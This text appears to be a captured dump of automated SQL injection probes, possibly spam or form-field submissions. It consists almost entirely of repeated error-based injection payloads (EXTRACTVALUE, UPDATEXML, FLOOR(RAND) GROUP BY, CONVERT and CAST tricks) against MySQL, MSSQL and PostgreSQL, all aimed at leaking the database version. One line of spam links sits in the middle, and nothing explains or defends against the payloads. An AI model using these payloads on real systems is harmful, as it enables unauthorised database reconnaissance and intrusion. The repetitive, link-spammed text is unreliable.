test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

<a href="https://aursh3.zombeek.cz">https://aursh3.zombeek.cz</a> <a href="https://lessons.drawspace.com/post/1036976/comment">https://lessons.drawspace.com/post/1036976/comment</a> <a href="https://vnkrqd.zombeek.cz">https://vnkrqd.zombeek.cz</a> <a href="https://demo.wowonder.com/1773698725859670_532632">https://demo.wowonder.com/1773698725859670_532632</a> <a href="https://telegra.ph/Antresoli-02-27">https://telegra.ph/Antresoli-02-27</a>

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

